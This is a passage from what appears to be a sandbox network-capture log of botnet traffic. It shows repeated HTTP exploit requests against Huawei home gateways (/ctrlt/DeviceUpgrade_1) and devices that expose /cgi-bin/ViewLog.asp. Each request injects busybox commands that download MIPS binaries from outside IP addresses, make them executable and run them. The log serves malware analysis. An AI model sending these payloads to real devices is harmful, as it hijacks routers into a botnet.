                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:22:51.324338913 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:23:03.351999044 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                674192.168.2.154981031.136.85.348080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:41.112675905 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:41.688604116 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:42.808552980 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:45.176521063 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:49.784465075 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:58.744251966 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                675192.168.2.153998485.122.206.2398080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:41.114042044 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                676192.168.2.1544962156.230.17.17837215
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:41.210465908 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:22:42.840559006 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:22:44.760591030 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:22:48.760535955 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
